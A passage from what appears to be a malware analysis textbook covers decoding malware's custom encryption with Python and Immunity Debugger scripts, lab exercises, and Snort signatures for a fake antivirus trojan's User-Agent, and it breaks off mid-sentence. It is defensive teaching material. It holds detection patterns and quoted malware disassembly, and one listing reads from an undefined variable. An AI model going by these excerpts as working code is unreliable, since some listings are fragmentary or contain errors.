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Investigating further, we find that both sub_40106C and sub_40112F contain 
multiple references to three global variables (two DWORD values and a 256-byte 
array), which support the hypothesis that these are a cryptographic initial-
ization function and a stream cipher function. (A stream cipher generates a 
pseudorandom bit stream that can be combined with plaintext via XOR.) 
One oddity with this example is that the initialization function took no pass-
word as an argument, containing only references to the two DWORD values and 
a pointer to an empty 256-byte array.

We’re lucky in this case. The encoding functions were very close to the 
output function that wrote the encrypted content, and it was easy to locate 
the encoding functions.

Advantages of Custom Encoding to the Attacker
For the attacker, custom-encoding methods have their advantages, often 
because they can retain the characteristics of simple encoding schemes (small 
size and nonobvious use of encryption), while making the job of the reverse 
engineer more difficult. It is arguable that the reverse-engineering tasks for 
this type of encoding (identifying the encoding process and developing a 
decoder) are more difficult than for many types of standard cryptography.

With many types of standard cryptography, if the cryptographic algo-
rithm is identified and the key found, it is fairly easy to write a decryptor 
using standard libraries. With custom encoding, attackers can create any 
encoding scheme they want, which may or may not use an explicit key. 
As you saw in the previous example, the key is effectively embedded (and 
obscured) within the code itself. Even if the attacker does use a key and the 
key is found, it is unlikely that a freely available library will be available to 
assist with the decryption.

Decoding

Finding encoding functions to isolate them is an important part of the analy-
sis process, but typically you’ll also want to decode the hidden content. There 
are two fundamental ways to duplicate the encoding or decoding functions 
in malware:

 Reprogram the functions.

 Use the functions as they exist in the malware itself.

Self-Decoding
The most economical way to decrypt data—whether or not the algorithm is 
known—is to let the program itself perform the decryption in the course of 
its normal activities. We call this process self-decoding.

If you’ve ever stopped a malware program in a debugger and noticed a 
string in memory that you didn’t see when you ran strings, you have already 
used the self-decoding technique. If the previously hidden information is 
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decoded at any point, it is easier to just stop the process and do the analysis 
than it is to try to determine the encoding mechanism used (and try to build 
a decoder).

Although self-decoding can be a cheap and effective way to decode con-
tent, it has its drawbacks. First, in order to identify every instance of decryp-
tion performed, you must isolate the decryption function and set a breakpoint 
directly after the decryption routine. More important, if the malware doesn’t 
happen to decrypt the information you are interested in (or you cannot fig-
ure out how to coax the malware into doing so), you are out of luck. For 
these reasons, it is important to use techniques that provide more control.

Manual Programming of Decoding Functions
For simple ciphers and encoding methods, you can often use the standard 
functions available within a programming language. For example, Listing 13-7 
shows a small Python program that decodes a standard Base64-encoded string. 
Replace the example_string variable to decode the string of interest.

import string
import base64

example_string = 'VGhpcyBpcyBhIHRlc3Qgc3RyaW5n'
print base64.decodestring(example_string)

Listing 13-7: Sample Python Base64 script

For simple encoding methods that lack standard functions, such as XOR 
encoding or Base64 encoding that uses a modified alphabet, often the easiest 
course of action is to just program or script the encoding function in the 
language of your choice. Listing 13-8 shows an example of a Python func-
tion that implements a NULL-preserving XOR encoding, as described ear-
lier in this chapter.

def null_preserving_xor(input_char,key_char):
    if (input_char == key_char or input_char == chr(0x00)):
        return input_char
    else:
        return chr(ord(input_char) ^ ord(key_char))

Listing 13-8: Sample Python NULL-preserving XOR script

This function takes in two characters—an input character and a key 
character—and outputs the translated character. To convert a string or 
longer content using NULL-preserving single-byte XOR encoding, just 
send each input character with the same key character to this subroutine.

Base64 with a modified alphabet requires a similarly simple script. For 
example, Listing 13-9 shows a small Python script that translates the custom 
Base64 characters to the standard Base64 characters, and then uses the stan-
dard decodestring function that is part of the Python base64 library.
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import string
import base64

s = ""
custom = "9ZABCDEFGHIJKLMNOPQRSTUVWXYabcdefghijklmnopqrstuvwxyz012345678+/"
Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

ciphertext = 'TEgobxZobxZgGFPkb2O='

for ch in ciphertext:
    if (ch in Base64):
        s = s + Base64[string.find(custom,str(ch))]
    elif (ch == '='):
        s += '='

result = base64.decodestring(s)

Listing 13-9: Sample Python custom Base64 script

For standard cryptographic algorithms, it is best to use existing imple-
mentations that are available in code libraries. A Python-based cryptography 
library called PyCrypto (http://www.dlitz.net/software/pycrypto/) provides a wide 
variety of cryptographic functions. Similar libraries exist for different lan-
guages. Listing 13-10 shows a sample Python program that performs decryp-
tion using the DES algorithm.

from Crypto.Cipher import DES
import sys

obj = DES.new('password',DES.MODE_ECB)
cfile = open('encrypted_file','r')
cbuf = f.read()
print obj.decrypt(cbuf)

Listing 13-10: Sample Python DES script

Using the imported PyCrypto libraries, the script opens the encrypted 
file called encrypted_file and decrypts it with DES in Electronic Code Book 
(ECB) mode using the password password.

Block ciphers like DES can use different modes of encryption to apply a 
single key to an arbitrary length stream of plaintext, and the mode must be 
specified in the library call. The simplest mode is ECB mode, which applies 
the block cipher to each block of plaintext individually.

There are many possible variations available for scripting decoding algo-
rithms. The preceding examples give you an idea of the types of options 
available for writing your own decoders.

Writing your own version of the attacker’s cryptographic algorithms is 
typically reserved for when a cipher is simple or sufficiently well defined (in the 
case of standard cryptography). A more difficult challenge is dealing with cases 
where the cryptography is too complex to emulate and is also nonstandard.
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Using Instrumentation for Generic Decryption
In self-decoding, while trying to get the malware to do the decryption, you 
limit yourself to letting the malware run as it normally would and stopping it 
at the right time. But there is no reason to limit yourself to the normal execu-
tion paths of the malware when you can direct it.

Once encoding or decoding routines are isolated and the parameters 
are understood, it is possible to fully exploit malware to decode any arbitrary 
content using instrumentation, thus effectively using the malware against 
itself.

Let’s return to the malware that produced the multiple large encrypted 
files from the earlier “Custom Encoding” section. Listing 13-11 shows the 
function header plus the primary instructions that are a part of the encryp-
tion loop shown previously in Figure 13-14.

004011A9                 push    ebp
004011AA                 mov     ebp, esp
004011AC                 sub     esp, 14h
004011AF                 push    ebx
004011B0                 mov     [ebp+counter], 0
004011B7                 mov     [ebp+NumberOfBytesWritten], 0
...
004011F5 loc_4011F5:                     ; CODE XREF: encrypted_Write+46j
004011F5                 call    encrypt_Init
004011FA
004011FA loc_4011FA:                     ; CODE XREF: encrypted_Write+7Fj
004011FA                 mov     ecx, [ebp+counter]
004011FD                 cmp     ecx, [ebp+nNumberOfBytesToWrite]
00401200                 jnb     short loc_40122A
00401202                 mov     edx, [ebp+lpBuffer]
00401205                 add     edx, [ebp+counter]
00401208                 movsx   ebx, byte ptr [edx]
0040120B                 call    encrypt_Byte
00401210                 and     eax, 0FFh
00401215                 xor     ebx, eax
00401217                 mov     eax, [ebp+lpBuffer]
0040121A                 add     eax, [ebp+counter]
0040121D                 mov     [eax], bl
0040121F                 mov     ecx, [ebp+counter]
00401222                 add     ecx, 1
00401225                 mov     [ebp+counter], ecx
00401228                 jmp     short loc_4011FA
0040122A
0040122A loc_40122A:                     ; CODE XREF: encrypted_Write+57j
0040122A                 push    0       ; lpOverlapped
0040122C                 lea     edx, [ebp+NumberOfBytesWritten]

Listing 13-11: Code from malware that produces large encrypted files
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We know a couple of key pieces of information from our previous 
analysis:

 We know that the function sub_40112F initializes the encryption, and 
that this is the start of the encryption routine, which is called at address 
0x4011F5. In Listing 13-11, this function is labeled encrypt_Init.

 We know that when we reach address 0x40122A, the encryption has been 
completed.

 We know several of the variables and arguments that are used in the 
encryption function. These include the counter and two arguments: 
the buffer (lpBuffer) to be encrypted or decrypted and the length 
(nNumberOfBytesToWrite) of the buffer.

We have an encrypted file, the malware itself, and the knowledge of how 
its encryption function works. Our high-level goal is to instrument the mal-
ware so that it takes the encrypted file and runs it through the same routine 
it used for encryption. (We are assuming based on the use of XOR that the 
function is reversible.) This high-level goal can be broken down into a series 
of tasks:

1. Set up the malware in a debugger.

2. Prepare the encrypted file for reading and prepare an output file for 
writing.

3. Allocate memory inside the debugger so that the malware can reference 
the memory.

4. Load the encrypted file into the allocated memory region.

5. Set up the malware with appropriate variables and arguments for the 
encryption function.

6. Run the encryption function to perform the encryption.

7. Write the newly decrypted memory region to the output file.

In order to implement the instrumentation to perform these high-level 
tasks, we will use the Immunity Debugger (ImmDbg), which was introduced 
in Chapter 9. ImmDbg allows Python scripts to be used to program the 
debugger. The ImmDbg script in Listing 13-12 is a fairly generic sample 
that has been written to process the encrypted files that were found with 
the malware, thereby retrieving the plaintext.

import immlib

def main ():
    imm = immlib.Debugger()
    cfile = open("C:\\encrypted_file","rb") # Open encrypted file for read
    pfile = open("decrypted_file", "w")     # Open file for plaintext
    buffer = cfile.read()                   # Read encrypted file into buffer
    sz = len(buffer)                        # Get length of buffer
    membuf = imm.remoteVirtualAlloc(sz)     # Allocate memory within debugger
    imm.writeMemory(membuf,buffer)          # Copy into debugged process's memory
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    imm.setReg("EIP", 0x004011A9)           # Start of function header
    imm.setBreakpoint(0x004011b7)           # After function header
    imm.Run()                               # Execute function header

    regs = imm.getRegs()
    imm.writeLong(regs["EBP"]+16, sz)       # Set NumberOfBytesToWrite stack variable
    imm.writeLong(regs["EBP"]+8, membuf)    # Set lpBuffer stack variable

    imm.setReg("EIP", 0x004011f5)           # Start of crypto
    imm.setBreakpoint(0x0040122a)           # End of crypto loop
    imm.Run()                               # Execute crypto loop
    
    output = imm.readMemory(membuf, sz)     # Read answer
    pfile.write(output)                     # Write answer

Listing 13-12: ImmDbg sample decryption script

The script in Listing 13-12 follows the high-level tasks closely. immlib is 
the Python library, and the immlib.Debugger call provides programmatic access 
to the debugger. The open calls open files for reading the encrypted files and 
writing the decrypted version. Note that the rb option on the open commands 
ensures that binary characters are interpreted correctly (without the b flag, 
binary characters can be evaluated as end-of-file characters, terminating the 
reading prematurely).

The imm.remoteVirtualAlloc command allocates memory within the mal-
ware process space inside the debugger. This is memory that can be directly 
referenced by the malware. The cfile.read command reads the encrypted file 
into a Python buffer, and then imm.writeMemory is used to copy the memory 
from the Python buffer into the memory of the process being debugged. The 
imm.getRegs function is used to get the current register values so that the EBP 
register can be used to locate the two key arguments: the memory buffer that 
is to be decrypted and its size. These arguments are set using the imm.writeLong 
function.

The actual running of the code is done in two stages as follows, and is 
guided by the setting of breakpoints using the imm.setBreakpoint calls, the set-
ting of EIP using the imm.setReg("EIP",location) calls, and the imm.Run calls:

 The initial portion of code run is the start of the function, which sets 
up the stack frame and sets the counter to zero. This first stage is from 
0x004011A9 (where EIP is set) until 0x004011b7 (where a breakpoint 
stops execution).

 The second part of the code to run is the actual encryption loop, for which 
the debugger moves the instruction pointer to the start of the crypto-
graphic initialization function at 0x004011f5. This second stage is from 
0x004011f5 (where EIP is set), through the loop one time for each byte 
decrypted, until the loop is exited and 0x0040122a is reached (where a 
breakpoint stops execution).
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Finally, the same buffer is read out of the process memory into the 
Python memory (using imm.readMemory) and then output to a file (using 
pfile.write).

Actual use of this script requires a little preparation. The file to be 
decrypted must be in the expected location (C:\encrypted_file). In order to 
run the malware, you open it in ImmDbg. To run the script, you select the 
Run Python Script option from the ImmLib menu (or press ALT-F3) and 
select the file containing the Python script in Listing 13-12. Once you run the 
file, the output file (decrypted_file) will show up in the ImmDbg base directory 
(which is C:\Program Files\Immunity Inc\Immunity Debugger), unless the path is 
specified explicitly.

In this example, the encryption function stood alone. It didn’t have any 
dependencies and was fairly straightforward. However, not all encoding func-
tions are stand-alone. Some require initialization, possibly with a key. In some 
cases, this key may not even reside in the malware, but may be acquired from 
an outside source, such as over the network. In order to support decoding in 
these cases, it is necessary to first have the malware properly prepared.

Preparation may merely mean that the malware needs to start up in the 
normal fashion, if, for example, it uses an embedded password as a key. In 
other cases, it may be necessary to customize the external environment in 
order to get the decoding to work. For example, if the malware communi-
cates using encryption seeded by a key the malware receives from the server, 
it may be necessary either to script the key-setup algorithm with the appropri-
ate key material or to simulate the server sending the key.

Conclusion

Both malware authors and malware analysts are continually improving their 
capabilities and skills. In an effort to avoid detection and frustrate analysts, 
malware authors are increasingly employing measures to protect their inten-
tions, their techniques, and their communications. A primary tool at their 
disposal is encoding and encryption. Encoding affects more than just com-
munications; it also pertains to making malware more difficult to analyze and 
understand. Fortunately, with the proper tools, many techniques in use can 
be relatively easily identified and countered.

This chapter covered the most popular encryption and encoding tech-
niques in use by malware. It also discussed a number of tools and techniques 
that you can use to identify, understand, and decode the encoding methods 
used by malware.

This chapter focused on encoding generally, explaining how to identify 
encoding and perform decoding. In the next chapter, we will look specifi-
cally at how malware uses the network for command and control. In many 
cases, this network command-and-control traffic is encoded, yet it is still pos-
sible to create robust signatures to detect the malicious communication.
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L A B S
Lab 13-1

Analyze the malware found in the file Lab13-01.exe.

Questions

1. Compare the strings in the malware (from the output of the strings com-
mand) with the information available via dynamic analysis. Based on this 
comparison, which elements might be encoded?

2. Use IDA Pro to look for potential encoding by searching for the string 
xor. What type of encoding do you find?

3. What is the key used for encoding and what content does it encode?

4. Use the static tools FindCrypt2, Krypto ANALyzer (KANAL), and the 
IDA Entropy Plugin to identify any other encoding mechanisms. What 
do you find?

5. What type of encoding is used for a portion of the network traffic sent by 
the malware?

6. Where is the Base64 function in the disassembly?

7. What is the maximum length of the Base64-encoded data that is sent? 
What is encoded?

8. In this malware, would you ever see the padding characters (= or ==) in 
the Base64-encoded data? 

9. What does this malware do?

Lab 13-2

Analyze the malware found in the file Lab13-02.exe.

Questions

1. Using dynamic analysis, determine what this malware creates.

2. Use static techniques such as an xor search, FindCrypt2, KANAL, and the 
IDA Entropy Plugin to look for potential encoding. What do you find?

3. Based on your answer to question 1, which imported function would be a 
good prospect for finding the encoding functions?

4. Where is the encoding function in the disassembly?

5. Trace from the encoding function to the source of the encoded content. 
What is the content?
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6. Can you find the algorithm used for encoding? If not, how can you 
decode the content?

7. Using instrumentation, can you recover the original source of one of the 
encoded files?

Lab 13-3

Analyze the malware found in the file Lab13-03.exe.

Questions

1. Compare the output of strings with the information available via 
dynamic analysis. Based on this comparison, which elements might 
be encoded?

2. Use static analysis to look for potential encoding by searching for the 
string xor. What type of encoding do you find?

3. Use static tools like FindCrypt2, KANAL, and the IDA Entropy Plugin to 
identify any other encoding mechanisms. How do these findings com-
pare with the XOR findings?

4. Which two encoding techniques are used in this malware?

5. For each encoding technique, what is the key?

6. For the cryptographic encryption algorithm, is the key sufficient? What 
else must be known?

7. What does this malware do?

8. Create code to decrypt some of the content produced during dynamic 
analysis. What is this content?
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M A L W A R E - F O C U S E D  
N E T W O R K S I G N A T U R E S

Malware makes heavy use of network connectivity, 
and in this chapter, we’ll explain how to develop effec-
tive network-based countermeasures. Countermeasures 
are actions taken in response to threats, to detect or 
prevent malicious activity. To develop effective countermeasures, you must 
understand how malware uses the network and how the challenges faced by 
malware authors can be used to your advantage.

Network Countermeasures

Basic attributes of network activity—such as IP addresses, TCP and UDP 
ports, domain names, and traffic content—are used by networking and 
security devices to provide defenses. Firewalls and routers can be used to 
restrict access to a network based on IP addresses and ports. DNS servers 
can be configured to reroute known malicious domains to an internal host, 
known as a sinkhole. Proxy servers can be configured to detect or prevent 
access to specific domains.



Intrusion detection systems (IDSs), intrusion prevention systems (IPSs), 
and other security appliances, such as email and web proxies, make it possible 
to employ content-based countermeasures. Content-based defense systems allow 
for deeper inspection of traffic, and include the network signatures used by 
an IDS and the algorithms used by a mail proxy to detect spam. Because basic 
network indicators such as IP addresses and domain names are supported by 
most defensive systems, they are often the first items that a malware analyst will 
investigate.

NOTE The commonly used term intrusion detection system is outdated. Signatures are 
used to detect more than just intrusions, such as scanning, service enumeration and 
profiling, nonstandard use of protocols, and beaconing from installed malware. An 
IPS is closely related to an IDS, the difference being that while an IDS is designed to 
merely detect the malicious traffic, an IPS is designed to detect malicious traffic and 
prevent it from traveling over the network.

Observing the Malware in Its Natural Habitat
The first step in malware analysis should not be to run the malware in your 
lab environment, or break open the malware and start analyzing the dis-
assembled code. Rather, you should first review any data you already have 
about the malware. Occasionally, an analyst is handed a malware sample 
(or suspicious executable) without any context, but in most situations, you 
can acquire additional data. The best way to start network-focused malware 
analysis is to mine the logs, alerts, and packet captures that were already gen-
erated by the malware.

There are distinct advantages to information that comes from real net-
works, rather than from a lab environment:

 Live-captured information will provide the most transparent view of a 
malicious application’s true behavior. Malware can be programmed to 
detect lab environments.

 Existing information from active malware can provide unique insights 
that accelerate analysis. Real traffic provides information about the mal-
ware at both end points (client and server), whereas in a lab environ-
ment, the analyst typically has access only to information about one of 
the end points. Analyzing the content received by malware (the parsing 
routines) is typically more challenging than analyzing the content mal-
ware produces. Therefore, bidirectional sample traffic can help seed the 
analysis of the parsing routines for the malware the analyst has in hand.

 Additionally, when passively reviewing information, there is no risk that 
your analysis activities will be leaked to the attacker. This issue will be 
explained in detail in “OPSEC = Operations Security” on page 299.

Indications of Malicious Activity
Suppose we’ve received a malware executable to analyze, and we run it in 
our lab environment, keeping an eye on networking events. We find that 
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the malware does a DNS request for www.badsite.com, and then does an 
HTTP GET request on port 80 to the IP address returned in the DNS record. 
Thirty seconds later, it tries to beacon out to a specific IP address without 
doing a DNS query. At this point, we have three potential indicators of 
malicious activity: a domain name with its associated IP address, a stand-
alone IP address, and an HTTP GET request with URI and contents, as 
shown in Table 14-1.

We would probably want to further research these indicators. Internet 
searches might reveal how long ago the malware was created, when it was 
first detected, how prevalent it is, who might have written it, and what the 
attackers’ objectives might be. A lack of information is instructive as well, 
since it can imply the existence of a targeted attack or a new campaign.

Before rushing to your favorite search engine, however, it is important to 
understand the potential risks associated with your online research activities.

OPSEC = Operations Security
When using the Internet for research, it is important to understand the con-
cept of operations security (OPSEC). OPSEC is a term used by the government 
and military to describe a process of preventing adversaries from obtaining 
sensitive information.

Certain actions you take while investigating malware can inform the mal-
ware author that you’ve identified the malware, or may even reveal personal 
details about you to the attacker. For example, if you are analyzing malware 
from home, and the malware was sent into your corporate network via email, 
the attacker may notice that a DNS request was made from an IP address 
space outside the space normally used by your company. There are many 
potential ways for an attacker to identify investigative activity, such as the 
following:

 Send a targeted phishing (known as spear-phishing) email with a link to 
a specific individual and watch for access attempts to that link from IP 
addresses outside the expected geographical area.

 Design an exploit to create an encoded link in a blog comment (or some 
other Internet-accessible and freely editable site), effectively creating a 
private but publicly accessible infection audit trail.

Table 14-1: Sample Network Indicators of Malicious Activity

Information type Indicator

Domain (with resolved IP address) www.badsite.com (123.123.123.10)

IP address 123.64.64.64

GET request GET /index.htm HTTP 1.1
Accept: */*
User-Agent: Wefa7e
Cache-Control: no
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 Embed an unused domain in malware and watch for attempts to resolve 
the domain.

If attackers are aware that they are being investigated, they may change 
tactics and effectively disappear.

Safely Investigate an Attacker Online

The safest option is to not use the Internet to investigate the attack at all, but 
this is often impractical. If you do use the Internet, you should use indirec-
tion to evade the attacker’s potentially watchful eye.

Indirection Tactics
One indirection tactic is to use some service or mechanism that is designed to 
provide anonymity, such as Tor, an open proxy, or a web-based anonymizer. 
While these types of services may help to protect your privacy, they often pro-
vide clues that you are trying to hide, and thus could arouse the suspicions of 
an attacker.

Another tactic is to use a dedicated machine, often a virtual machine, for 
research. You can hide the precise location of a dedicated machine in several 
ways, such as the following:

 By using a cellular connection

 By tunneling your connection via Secure Shell (SSH) or a virtual private 
network (VPN) through a remote infrastructure

 By using an ephemeral remote machine running in a cloud service, such 
as Amazon Elastic Compute Cloud (Amazon EC2)

A search engine or site designed for Internet research can also provide 
indirection. Searching in a search engine is usually fairly safe, with two caveats:

 The inclusion of a domain name in a query that the engine was not pre-
viously aware of may prompt crawler activity.

 Clicking search engine results, even for cached resources, still activates 
the secondary and later links associated with the site.

The next section highlights a few websites that provide consolidated 
information about networking entities, such as whois records, DNS lookups 
(including historical lookup records), and reverse DNS lookups.

Getting IP Address and Domain Information
The two fundamental elements that compose the landscape of the Internet 
are IP addresses and domain names. DNS translates domain names like 
www.yahoo.com into IP addresses (and back). Unsurprisingly, malware also 
uses DNS to look like regular traffic, and to maintain flexibility and robust-
ness when hosting its malicious activities.
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Figure 14-1 shows the types of information available about DNS domains 
and IP addresses. When a domain name is registered, registration informa-
tion such as the domain, its name servers, relevant dates, and contact infor-
mation for the entity who registered the name is stored in a domain registrar. 
Internet addresses have registries called Regional Internet Registries (RIRs), 
which store IP address blocks, the blocks’ organization assignment, and vari-
ous types of contact information. DNS information represents the mapping 
between a domain name and an IP address. Additionally, metadata is avail-
able, including blacklists (which can apply to IP addresses or domain names) 
and geographical information (which applies only to IP addresses).

Figure 14-1: Types of information available about DNS domains and IP addresses

While both of the domain and IP registries can be queried manually 
using command-line tools, there are also numerous free websites that will 
perform these basic lookups for you. Using websites to query has several 
advantages:

 Many will do follow-on lookups automatically.

 They provide a level of anonymity.

 They frequently provide additional metadata based on historical infor-
mation or queries of other sources of information, including blacklists 
and geographical information for IP addresses.

Figure 14-2 is an example of two whois requests for domains that were 
used as command-and-control servers for backdoors used in targeted attacks. 
Although the backdoors were different, the name listed under the registra-
tion is the same for both domains.

Three lookup sites deserve special mention:

DomainTools (http://www.domaintools.com/)
Provides historical whois records, reverse IP lookups showing all the 
domains that resolve to a particular IP address, and reverse whois, allow-
ing whois record lookups based on contact information metadata. Some 
of the services provided by DomainTools require membership, and some 
also require payment.

Domain Registry

DNS Records (Domain-to-IP Mapping)

IP Registry

Domain Blacklists

IP Blacklists Geo
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RobTex (http://www.robtex.com/)
Provides information about multiple domain names that point to a 
single IP address and integrates a wealth of other information, such 
as whether a domain or IP address is on one of several blacklists.

BFK DNS logger (http://www.bfk.de/bfk_dnslogger_en.html)
Uses passive DNS monitoring information. This is one of the few freely 
available resources that does this type of monitoring. There are several 
other passive DNS sources that require a fee or are limited to profes-
sional security researchers.

Figure 14-2: Sample whois request for two different domains

Content-Based Network Countermeasures

Basic indicators such as IP addresses and domain names can be valuable for 
defending against a specific version of malware, but their value can be short-
lived, since attackers are adept at quickly moving to different addresses or 
domains. Indicators based on content, on the other hand, tend to be more 
valuable and longer lasting, since they identify malware using more funda-
mental characteristics.

Signature-based IDSs are the oldest and most commonly deployed sys-
tems for detecting malicious activity via network traffic. IDS detection depends 
on knowledge about what malicious activity looks like. If you know what it 
looks like, you can create a signature for it and detect it when it happens 
again. An ideal signature can send an alert every time something malicious 
happens (true positive), but will not create an alert for anything that looks 
like malware but is actually legitimate (false positive).
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Intrusion Detection with Snort
One of the most popular IDSs is called Snort. Snort is used to create a signa-
ture or rule that links together a series of elements (called rule options) that 
must be true before the rule fires. The primary rule options are divided into 
those that identify content elements (called payload rule options in Snort lingo) 
and those that identify elements that are not content related (called non-
payload rule options). Examples of nonpayload rule options include certain 
flags, specific values of TCP or IP headers, and the size of the packet payload. 
For example, the rule option flow:established,to_client selects packets that 
are a part of a TCP session that originate at a server and are destined for a 
client. Another example is dsize:200, which selects packets that have 200 bytes 
of payload.

Let’s create a basic Snort rule to detect the initial malware sample we 
looked at earlier in this chapter (and summarized in Table 14-1). This mal-
ware generates network traffic consisting of an HTTP GET request.

When browsers and other HTTP applications make requests, they popu-
late a User-Agent header field in order to communicate to the application 
that is being used for the request. A typical browser User-Agent starts with 
the string Mozilla (due to historical convention), and may look something 
like Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1). This User-Agent pro-
vides information about the version of the browser and OS.

The User-Agent used by the malware we discussed earlier is Wefa7e, which 
is distinctive and can be used to identify the malware-generated traffic. The 
following signature targets the unusual User-Agent string that was used by 
the sample run from our malware:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"TROJAN Malicious User-Agent"; 
content:"|0d 0a|User-Agent\: Wefa7e"; classtype:trojan-activity; sid:2000001; rev:1;)

Snort rules are composed of two parts: a rule header and rule options. 
The rule header contains the rule action (typically alert), protocol, source 
and destination IP addresses, and source and destination ports.

By convention, Snort rules use variables to allow customization of its 
environment: the $HOME_NET and $EXTERNAL_NET variables are used to specify 
internal and external network IP address ranges, and $HTTP_PORTS defines the 
ports that should be interpreted as HTTP traffic. In this case, since the -> in 
the header indicates that the rule applies to traffic going in only one direc-
tion, the $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS header matches outbound 
traffic destined for HTTP ports.

The rule option section contains elements that determine whether the 
rule should fire. The inspected elements are generally evaluated in order, 
and all must be true for the rule to take action. Table 14-2 describes the key-
words used in the preceding rule.
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Within the content term, the pipe symbol (|) is used to indicate 
the start and end of hexadecimal notation. Anything enclosed between 
two pipe symbols is interpreted as the hex values instead of raw values. 
Thus, |0d 0a| represents the break between HTTP headers. In the sample 
signature, the content rule option will match the HTTP header field 
User-Agent: Wefa7e, since HTTP headers are separated by the two characters 
0d and 0a.

We now have the original indicators and the Snort signature. Often, 
especially with automated analysis techniques such as sandboxes, analysis 
of network-based indicators would be considered complete at this point. 
We have IP addresses to block at firewalls, a domain name to block at the 
proxy, and a network signature to load into the IDS. Stopping here, how-
ever, would be a mistake, since the current measures provide only a false 
sense of security.

Taking a Deeper Look
A malware analyst must always strike a balance between expediency and accu-
racy. For network-based malware analysis, the expedient route is to run mal-
ware in a sandbox and assume the results are sufficient. The accurate route is 
to fully analyze malware function by function.

The example in the previous section is real malware for which a Snort 
signature was created and submitted to the Emerging Threats list of signa-
tures. Emerging Threats is a set of community-developed and freely available 
rules. The creator of the signature, in his original submission of the pro-
posed rule, stated that he had seen two values for the User-Agent strings in 
real traffic: Wefa7e and Wee6a3. He submitted the following rule based on his 
observation.

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"ET TROJAN 
WindowsEnterpriseSuite FakeAV Dynamic User-Agent"; flow:established,to_server; 
content:"|0d 0a|User-Agent\: We"; isdataat:6,relative; content:"|0d 0a|"; 
distance:0; pcre:"/User-Agent\: We[a-z0-9]{4}\x0d\x0a/"; 
classtype:trojan-activity; reference:url,www.threatexpert.com/report.aspx?md5=
d9bcb4e4d650a6ed4402fab8f9ef1387; sid:2010262; rev:1;)

This rule has a couple of additional keywords, as described in Table 14-3.

Table 14-2: Snort Rule Keyword Descriptions

Keyword Description

msg The message to print with an alert or log entry

content Searches for specific content in the packet payload 
(see the discussion following the table)

classtype General category to which rule belongs

sid Unique identifier for rules

rev With sid, uniquely identifies rule revisions
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While the rule is rather long, the core of the rule is simply the User-
Agent string where We is followed by exactly four alphanumeric characters 
(We[a-z0-9]{4}). In the Perl Compatible Regular Expressions (PCRE) nota-
tion used by Snort, the following characters are used:

 Square brackets ([ and ]) indicate a set of possible characters.

 Curly brackets ({ and }) indicate the number of characters.

 Hexadecimal notation for bytes is of the form \xHH.

As noted previously, the rule headers provide some basic information, 
such as IP address (both source and destination), port, and protocol. Snort 
keeps track of TCP sessions, and in doing so allows you to write rules spe-
cific to either client or server traffic based on the TCP handshake. In this 
rule, the flow keyword ensures that the rule fires only for client-generated 
traffic within an established TCP session.

After some use, this rule was modified slightly to remove the false posi-
tives associated with the use of the popular Webmin software, which happens 
to have a User-Agent string that matches the pattern created by the malware. 
The following is the most recent rule as of this writing:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"ET TROJAN 
WindowsEnterpriseSuite FakeAV Dynamic User-Agent"; flow:established,to_server; 
content:"|0d 0a|User-Agent|3a| We"; isdataat:6,relative; content:"|0d 0a|"; 
distance:0; content:!"User-Agent|3a| Webmin|0d 0a|"; 
pcre:"/User-Agent\: We[a-z0-9]{4}\x0d\x0a/"; classtype:trojan-activity; 
reference:url,www.threatexpert.com/report.aspx?md5=d9bcb4e4d650a6ed4402fab8f9
ef1387; reference:url,doc.emergingthreats.net/2010262; reference:url,www.emer
gingthreats.net/cgi-bin/cvsweb.cgi/sigs/VIRUS/TROJAN_WindowsEnterpriseFakeAV; 
sid:2010262; rev:4;)

The bang symbol (!) before the content expression (content:!"User-
Agent|3a| Webmin|0d 0a|") indicates a logically inverted selection (that is, not), 
so the rule will trigger only if the content described is not present.

This example illustrates several attributes typical of the signature-
development process. First, most signatures are created based on analysis 
of the network traffic, rather than on analysis of the malware that generates 
the traffic. In this example, the submitter identified two strings generated 
by the malware, and speculated that the malware uses the We prefix plus four 
additional random alphanumeric characters.

Table 14-3: Additional Snort Rule Keyword Descriptions

Keyword Description

flow Specifies characteristics of the TCP flow being inspected, such as whether a flow 
has been established and whether packets are from the client or the server

isdataat Verifies that data exists at a given location (optionally relative to the last match)

distance Modifies the content keyword; indicates the number of bytes that should be 
ignored past the most recent pattern match

pcre A Perl Compatible Regular Expression that indicates the pattern of bytes to match

reference A reference to an external system
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Second, the uniqueness of the pattern specified by the signature is tested 
to ensure that the signature is free of false positives. This is done by running 
the signature across real traffic and identifying instances when false positives 
occur. In this case, when the original signature was run across real traffic, 
legitimate traffic with a User-Agent of Webmin produced false positives. As a 
result, the signature was refined by adding an exception for the valid traffic.

As previously mentioned, traffic captured when malware is live may pro-
vide details that are difficult to replicate in a laboratory environment, since 
an analyst can typically see only one side of the conversation. On the other 
hand, the number of available samples of live traffic may be small. One way 
to ensure that you have a more robust sample is to repeat the dynamic analy-
sis of the malware many times. Let’s imagine we ran the example malware 
multiple times and generated the following list of User-Agent strings:

This is an easy way to identify random elements of malware-generated 
traffic. These results appear to confirm that the assumptions made by the 
official Emerging Threats signature are correct. The results suggest that the 
character set of the four characters is alphanumeric, and that the characters 
are randomly distributed. However, there is another issue with the current 
signature (assuming that the results were real): The results appear to use a 
smaller character set than those specified in the signature. The PCRE is listed 
as /User-Agent\: We[a-z0-9]{4}\x0d\x0a/, but the results suggest that the char-
acters are limited to a–f rather than a–z. This character distribution is often 
used when binary values are converted directly to hex representations.

As an additional thought experiment, imagine that the results from 
multiple runs of the malware resulted in the following User-Agent strings 
instead:

While the signature may catch some instances, it obviously is not ideal 
given that whatever is generating the traffic can produce Wf and W1 (at least) 
in addition to We. Also, it is clear from this sample that although the User-
Agent is often six characters, it could be seven characters.

We4b58 We7d7f Wea4ee

We70d3 Wea508 We6853

We3d97 We8d3a Web1a7

Wed0d1 We93d0 Wec697

We5186 We90d8 We9753

We3e18 We4e8f We8f1a

Wead29 Wea76b Wee716

Wfbcc5 Wf4abd Wea4ee

Wfa78f Wedb29 W101280

W101e0f Wfa72f Wefd95

Wf617a Wf8a9f Wf286f

We9fc4 Wf4520 Wea6b8

W1024e7 Wea27f Wfd1c1

W104a9b Wff757 Wf2ab8
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Because the original sample size was two, the assumptions made about 
